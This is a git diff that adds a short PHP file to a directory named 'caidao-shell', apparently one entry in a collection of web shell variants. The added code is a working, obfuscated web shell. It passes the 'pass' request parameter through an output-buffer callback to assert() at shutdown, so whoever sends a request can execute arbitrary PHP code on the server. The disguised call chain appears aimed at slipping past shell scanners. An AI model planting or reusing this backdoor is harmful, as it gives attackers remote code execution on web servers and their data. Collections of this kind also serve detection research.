diff --git a/caidao-shell/w-ob_start02.php b/caidao-shell/w-ob_start02.php
new file mode 100644
index 0000000..ef02af2
--- /dev/null
+++ b/caidao-shell/w-ob_start02.php
@@ -0,0 +1,5 @@
+<?php 
+ob_start(function ($c,$d){register_shutdown_function('assert',$c);}); 
+echo $_REQUEST['pass']; 
+ob_end_flush(); 
+?>